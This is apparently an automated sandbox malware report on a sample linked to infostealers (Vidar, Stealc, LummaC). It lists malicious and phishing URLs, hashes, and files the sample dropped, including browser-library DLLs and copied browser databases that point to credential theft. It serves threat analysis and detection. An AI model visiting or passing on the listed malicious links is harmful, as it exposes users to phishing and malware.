	https://villageforddearborn-my.sharepoint.com/:b:/g/personal/robert_wheat_villageford_net/EaAilHqK5PhBneaYfVtjii0ByKmI10BU9zhQ73pqIHj-uQ?e=FnQ6KL	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	https://t.ly/DDbri	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	https://inovamora.com/team/index.html	Get hash	malicious	HTMLPhisher	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	https://hujalconcretos.com/npp	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	https://displaysolution.ca/advertising-inflatable-tents.html	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/email.email.panda%C2%ADdoc%C2%AD.net/c/eJxUkE2P2yAQhn-NuWWFARt88CFVY612oypR2m7UywqGwSGJDcLY3c2vryJ1-3EbjeZ99MxrW1Nz4xSxAeYBx_zqbdufVQy8WvbnZ4mHr1v5vX_uDcG2lJxXVAlZk1MLSiPjHKRWYBw4lJZJCRqkEVJZQXzLKBMlo3WpqKz4g6l4zS03pmSmLmVZCIqD9teHqEerbYCHETPx02tOGlCbK7Y5zUiu7SnnOBV8XbCuYJ2O8W8EwlCw7kO_YN3CCt7lcMGx4J8NSlVVAgyKymkGjIKWqBoJ3DlUXIGiDUhX8I6MIXvnQWcfxnsNzgkqLMCqwQZWolF0pTk0K0qZQ7S1QVeTkHo9-tuf0GZ5eheeH9Pm7by_vbzf7PD4ZUdSG09zSoWgIWY_zMOUtXN-7O_-JOHip9-A-fB43HRxdxy-Qfi03b-sbbxIktuPF_8ZV1mnHv_bTPeLpWXkZ0iXKWrAO3SXD-unw3Y8i7e8HH7ki-bz5H4FAAD__zN8qVc	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 23.218.208.109

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	cTjQ45fs0O.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	cTjQ45fs0O.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAAEBAFBGIDHCBFHIECFCBGHIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFHDAEHDAKECGCAKFCFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFCFIEBKEGHIDGCAFBFBFHDBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCFBFHIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJECAEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCBGDGCAAKJEBFIDBAAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JKEBFBFIEHIDAAAAFHCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: cTjQ45fs0O.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: cTjQ45fs0O.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9c487cbe-b364-4fda-8e24-f19d0adea170.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44699
Entropy (8bit):	6.0949650892442495
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kfqKKGf4Uua9OB01XPXmN7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynPuaYN7VLyMV/YoskFoz
MD5:	B03F745BDFB7B56D607C0AF883FAE0AA
SHA1:	2D5BE8FB34A0AB760B68772C1B0127C187B6882D
SHA-256:	52DC1BA5C02AFAB6BDED5C151888C09A6FD0AEABABDBEEDEC6ECC23E6146CDEA
SHA-512:	AC6E0CF33A966438E6424D0582EAD0D20C0D5C2056E4DA7C60B3CDDCFEA8B5260474078F4B79530FEF9A461D036938DA281F9B26F0F3DA7F734C2B6186D24210
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67538334-1970.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04728006827020806
Encrypted:	false
SSDEEP:	192:mt/0m5tm7nOAU5YLJPi6VBKP7+HfgHX63IiMEYTwghBMNsD+GRQcD/OwsDZn8y0d:k/0UtAZN4Jphq3ufFsDZ08T2RGOD
MD5:	6E8A9F9937E96CDAE285ABC7A7578C3C
SHA1:	0C3E429B6DCAC789D87CB42F64037E223875D3A1
SHA-256:	76FDBFBB468C82D2E8997FCA0F7C1DA29602E15FF561BA694F318F6E0C6C7DE1
SHA-512:	BAB34221376943A00292D58AED2027216182D50FC510FC80DADD5A976D8F29DBCE12849E8883F2696BB1F1F67A4D28FA2F5ED6B0BBE526F7CADA5723D91CBE8E
Malicious:	false
Preview:	...@..@...@.....C.].....@...............xj..0Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".djwqri20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.......y...... .2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67538334-F38.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0467085931751998
Encrypted:	false
SSDEEP:	192:ObGw0m5tm7nOAU6YhJgA8x5XSggykfhhVNEmuIXqGRQchvMABKwCAgWn8y08TcmQ:UX0UtAUgk9hnGuxMAswCg08T2RGOD
MD5:	B39F9559D0B4BD4F88D3649CBC856EC2
SHA1:	E600311695C01B18C0A895823FB8CE16EB0D4F95
SHA-256:	303E8911AA723961E563B37D97EDF621A6ED5DC020462BEBAC6CB658A37AE8C8
SHA-512:	3FC982CA2CF2E5C8358CA62480C7C8EEDBD4A71E2B54A1C4A2AA53B09F9E79FE5A25F803A7ACADF4721CF1330290455A8C1B8EF587487DD07B1D27B848DBD93F
Malicious:	false
Preview:	...@..@...@.....C.].....@................e...U..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".djwqri20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

